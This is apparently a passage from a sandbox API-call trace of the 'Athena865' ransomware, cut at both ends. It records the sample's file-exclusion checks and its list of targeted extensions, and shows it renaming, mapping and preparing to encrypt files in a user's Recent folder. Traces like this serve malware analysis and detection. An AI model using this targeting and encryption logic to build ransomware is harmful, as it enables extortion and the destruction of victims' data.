(lpString="sdc") returned 3 [0051.938] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0051.938] lstrlenW (lpString="sdf") returned 3 [0051.938] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0051.938] lstrlenW (lpString="sis") returned 3 [0051.938] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0051.938] lstrlenW (lpString="spq") returned 3 [0051.938] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0051.938] lstrlenW (lpString="te") returned 2 [0051.938] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0051.938] lstrlenW (lpString="teacher") returned 7 [0051.938] lstrcmpiW (lpString1="FpG.lnk", lpString2="teacher") returned -1 [0051.939] lstrlenW (lpString="tmd") returned 3 [0051.939] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0051.939] lstrlenW (lpString="tps") returned 3 [0051.939] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0051.939] lstrlenW (lpString="trc") returned 3 [0051.939] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0051.939] lstrlenW (lpString="trc") returned 3 [0051.939] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0051.939] lstrlenW (lpString="trm") returned 3 [0051.939] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0051.939] lstrlenW (lpString="udb") returned 3 [0051.939] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0051.939] lstrlenW (lpString="udl") returned 3 [0051.939] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0051.939] lstrlenW (lpString="usr") returned 3 [0051.939] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0051.939] lstrlenW (lpString="v12") returned 3 [0051.939] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0051.939] lstrlenW (lpString="vis") returned 3 [0051.939] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0051.939] lstrlenW (lpString="vpd") returned 3 [0051.939] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0051.939] lstrlenW (lpString="vvv") returned 3 [0051.939] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0051.939] lstrlenW (lpString="wdb") returned 3 [0051.939] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0051.939] lstrlenW (lpString="wmdb") returned 4 [0051.939] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0051.939] lstrlenW (lpString="wrk") returned 3 [0051.939] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0051.939] lstrlenW (lpString="xdb") returned 3 [0051.939] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0051.939] lstrlenW (lpString="xld") returned 3 [0051.940] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0051.940] lstrlenW (lpString="xmlff") returned 5 [0051.940] lstrcmpiW (lpString1="G.lnk", lpString2="xmlff") returned -1 [0051.940] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\-6FpG.lnk.Athena865") returned 73 [0051.940] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\-6FpG.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\-6fpg.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\-6FpG.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\-6fpg.lnk.athena865"), dwFlags=0x1) returned 1 [0051.941] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\-6FpG.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\-6fpg.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.941] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3825) returned 1 [0051.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.941] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.942] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.942] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.942] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x154 [0051.942] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1200) returned 0x100000 [0051.943] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.944] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.944] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.944] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.945] CloseHandle (hObject=0x154) returned 1 [0051.945] CloseHandle (hObject=0x17c) returned 1 [0051.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.946] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b64aa0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb0b64aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb0b64aa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa5d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-BE_3cSpj5VFil 1.lnk", cAlternateFileName="-BE_3C~1.LNK")) returned 1 [0051.946] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.946] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.946] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2=".") returned 1 [0051.946] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2="..") returned 1 [0051.946] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2="windows") returned -1 [0051.946] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2="bootmgr") returned -1 [0051.946] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2="temp") returned -1 [0051.946] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2="pagefile.sys") returned -1 [0051.946] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2="boot") returned -1 [0051.946] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2="ids.txt") returned -1 [0051.946] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2="ntuser.dat") returned -1 [0051.946] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2="perflogs") returned -1 [0051.946] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2="MSBuild") returned -1 [0051.946] lstrlenW (lpString="-BE_3cSpj5VFil 1.lnk") returned 20 [0051.946] lstrcpyW (in: lpString1=0x241e8b4, lpString2="-BE_3cSpj5VFil 1.lnk" | out: lpString1="-BE_3cSpj5VFil 1.lnk") returned="-BE_3cSpj5VFil 1.lnk" [0051.946] lstrlenW (lpString="-BE_3cSpj5VFil 1.lnk") returned 20 [0051.946] lstrlenW (lpString="Athena865") returned 9 [0051.946] lstrcmpiW (lpString1="Fil 1.lnk", lpString2="Athena865") returned 1 [0051.946] lstrlenW (lpString=".dll") returned 4 [0051.946] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2=".dll") returned 1 [0051.946] lstrlenW (lpString=".lnk") returned 4 [0051.946] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2=".lnk") returned 1 [0051.947] lstrlenW (lpString=".ini") returned 4 [0051.947] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2=".ini") returned 1 [0051.947] lstrlenW (lpString=".sys") returned 4 [0051.947] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.lnk", lpString2=".sys") returned 1 [0051.947] lstrlenW (lpString="-BE_3cSpj5VFil 1.lnk") returned 20 [0051.947] lstrlenW (lpString="bak") returned 3 [0051.947] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0051.947] lstrlenW (lpString="ba_") returned 3 [0051.947] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0051.947] lstrlenW (lpString="dbb") returned 3 [0051.947] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0051.947] lstrlenW (lpString="vmdk") returned 4 [0051.947] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0051.947] lstrlenW (lpString="rar") returned 3 [0051.947] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0051.947] lstrlenW (lpString="zip") returned 3 [0051.947] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0051.947] lstrlenW (lpString="tgz") returned 3 [0051.947] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0051.947] lstrlenW (lpString="vbox") returned 4 [0051.947] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0051.947] lstrlenW (lpString="vdi") returned 3 [0051.947] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0051.947] lstrlenW (lpString="vhd") returned 3 [0051.947] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0051.947] lstrlenW (lpString="vhdx") returned 4 [0051.947] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0051.947] lstrlenW (lpString="avhd") returned 4 [0051.947] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0051.947] lstrlenW (lpString="db") returned 2 [0051.947] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0051.947] lstrlenW (lpString="db2") returned 3 [0051.947] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0051.948] lstrlenW (lpString="db3") returned 3 [0051.948] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0051.948] lstrlenW (lpString="dbf") returned 3 [0051.948] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0051.948] lstrlenW (lpString="mdf") returned 3 [0051.948] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0051.948] lstrlenW (lpString="mdb") returned 3 [0051.948] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0051.948] lstrlenW (lpString="sql") returned 3 [0051.948] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0051.948] lstrlenW (lpString="sqlite") returned 6 [0051.948] lstrcmpiW (lpString1=" 1.lnk", lpString2="sqlite") returned -1 [0051.948] lstrlenW (lpString="sqlite3") returned 7 [0051.948] lstrcmpiW (lpString1="l 1.lnk", lpString2="sqlite3") returned -1 [0051.948] lstrlenW (lpString="sqlitedb") returned 8 [0051.948] lstrcmpiW (lpString1="il 1.lnk", lpString2="sqlitedb") returned -1 [0051.948] lstrlenW (lpString="xml") returned 3 [0051.948] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0051.948] lstrlenW (lpString="$er") returned 3 [0051.948] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0051.948] lstrlenW (lpString="4dd") returned 3 [0051.948] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0051.948] lstrlenW (lpString="4dl") returned 3 [0051.948] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0051.948] lstrlenW (lpString="^^^") returned 3 [0051.948] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0051.948] lstrlenW (lpString="abs") returned 3 [0051.948] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0051.948] lstrlenW (lpString="abx") returned 3 [0051.948] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0051.948] lstrlenW (lpString="accdb") returned 5 [0051.948] lstrcmpiW (lpString1="1.lnk", lpString2="accdb") returned -1 [0051.948] lstrlenW (lpString="accdc") returned 5 [0051.949] lstrcmpiW (lpString1="1.lnk", lpString2="accdc") returned -1 [0051.949] lstrlenW (lpString="accde") returned 5 [0051.949] lstrcmpiW (lpString1="1.lnk", lpString2="accde") returned -1 [0051.949] lstrlenW (lpString="accdr") returned 5 [0051.949] lstrcmpiW (lpString1="1.lnk", lpString2="accdr") returned -1 [0051.949] lstrlenW (lpString="accdt") returned 5 [0051.949] lstrcmpiW (lpString1="1.lnk", lpString2="accdt") returned -1 [0051.949] lstrlenW (lpString="accdw") returned 5 [0051.949] lstrcmpiW (lpString1="1.lnk", lpString2="accdw") returned -1 [0051.949] lstrlenW (lpString="accft") returned 5 [0051.949] lstrcmpiW (lpString1="1.lnk", lpString2="accft") returned -1 [0051.949] lstrlenW (lpString="adb") returned 3 [0051.949] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0051.949] lstrlenW (lpString="adb") returned 3 [0051.949] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0051.949] lstrlenW (lpString="ade") returned 3 [0051.949] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0051.949] lstrlenW (lpString="adf") returned 3 [0051.949] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0051.949] lstrlenW (lpString="adn") returned 3 [0051.949] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0051.949] lstrlenW (lpString="adp") returned 3 [0051.949] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0051.949] lstrlenW (lpString="alf") returned 3 [0051.949] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0051.949] lstrlenW (lpString="ask") returned 3 [0051.949] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0051.949] lstrlenW (lpString="btr") returned 3 [0051.949] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0051.949] lstrlenW (lpString="cat") returned 3 [0051.949] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0051.949] lstrlenW (lpString="cdb") returned 3 [0051.949] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0051.949] lstrlenW (lpString="ckp") returned 3 [0051.950] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0051.950] lstrlenW (lpString="cma") returned 3 [0051.950] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0051.950] lstrlenW (lpString="cpd") returned 3 [0051.950] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0051.950] lstrlenW (lpString="dacpac") returned 6 [0051.950] lstrcmpiW (lpString1=" 1.lnk", lpString2="dacpac") returned -1 [0051.950] lstrlenW (lpString="dad") returned 3 [0051.950] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0051.950] lstrlenW (lpString="dadiagrams") returned 10 [0051.956] lstrcmpiW (lpString1="VFil 1.lnk", lpString2="dadiagrams") returned 1 [0051.956] lstrlenW (lpString="daschema") returned 8 [0051.956] lstrcmpiW (lpString1="il 1.lnk", lpString2="daschema") returned 1 [0051.956] lstrlenW (lpString="db-journal") returned 10 [0051.956] lstrcmpiW (lpString1="VFil 1.lnk", lpString2="db-journal") returned 1 [0051.956] lstrlenW (lpString="db-shm") returned 6 [0051.956] lstrcmpiW (lpString1=" 1.lnk", lpString2="db-shm") returned -1 [0051.956] lstrlenW (lpString="db-wal") returned 6 [0051.956] lstrcmpiW (lpString1=" 1.lnk", lpString2="db-wal") returned -1 [0051.956] lstrlenW (lpString="dbc") returned 3 [0051.956] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0051.956] lstrlenW (lpString="dbs") returned 3 [0051.956] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0051.956] lstrlenW (lpString="dbt") returned 3 [0051.956] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0051.956] lstrlenW (lpString="dbv") returned 3 [0051.956] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0051.956] lstrlenW (lpString="dbx") returned 3 [0051.956] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0051.956] lstrlenW (lpString="dcb") returned 3 [0051.956] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0051.956] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0051.956] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0051.957] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0051.957] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\-BE_3cSpj5VFil 1.lnk.Athena865") returned 84 [0051.957] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\-BE_3cSpj5VFil 1.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\-be_3cspj5vfil 1.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\-BE_3cSpj5VFil 1.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\-be_3cspj5vfil 1.lnk.athena865"), dwFlags=0x1) returned 1 [0051.960] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\-BE_3cSpj5VFil 1.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\-be_3cspj5vfil 1.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.960] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2653) returned 1 [0051.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.961] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.961] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.961] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.962] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd60, lpName=0x0) returned 0x154 [0051.962] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd60) returned 0x100000 [0051.962] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.963] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.963] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.963] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.963] CloseHandle (hObject=0x154) returned 1 [0051.963] CloseHandle (hObject=0x17c) returned 1 [0051.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.965] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf34abe0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xaf34abe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xaf34abe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-d2hMT.lnk", cAlternateFileName="")) returned 1 [0051.965] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.965] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.965] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2=".") returned 1 [0051.965] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2="..") returned 1 [0051.965] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2="windows") returned -1 [0051.965] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2="bootmgr") returned 1 [0051.965] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2="temp") returned -1 [0051.965] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2="pagefile.sys") returned -1 [0051.965] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2="boot") returned 1 [0051.965] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2="ids.txt") returned -1 [0051.965] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2="ntuser.dat") returned -1 [0051.965] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2="perflogs") returned -1 [0051.965] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2="MSBuild") returned -1 [0051.965] lstrlenW (lpString="-d2hMT.lnk") returned 10 [0051.965] lstrcpyW (in: lpString1=0x241e8b4, lpString2="-d2hMT.lnk" | out: lpString1="-d2hMT.lnk") returned="-d2hMT.lnk" [0051.965] lstrlenW (lpString="-d2hMT.lnk") returned 10 [0051.965] lstrlenW (lpString="Athena865") returned 9 [0051.965] lstrcmpiW (lpString1="d2hMT.lnk", lpString2="Athena865") returned 1 [0051.965] lstrlenW (lpString=".dll") returned 4 [0051.965] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2=".dll") returned 1 [0051.965] lstrlenW (lpString=".lnk") returned 4 [0051.966] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2=".lnk") returned 1 [0051.966] lstrlenW (lpString=".ini") returned 4 [0051.966] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2=".ini") returned 1 [0051.966] lstrlenW (lpString=".sys") returned 4 [0051.966] lstrcmpiW (lpString1="-d2hMT.lnk", lpString2=".sys") returned 1 [0051.966] lstrlenW (lpString="-d2hMT.lnk") returned 10 [0051.966] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\-d2hMT.lnk.Athena865") returned 74 [0051.966] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\-d2hMT.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\-d2hmt.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\-d2hMT.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\-d2hmt.lnk.athena865"), dwFlags=0x1) returned 1 [0051.967] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\-d2hMT.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\-d2hmt.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.967] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3829) returned 1 [0051.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.967] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.968] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.968] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.968] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x154 [0051.969] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1200) returned 0x100000 [0051.969] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.970] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.970] 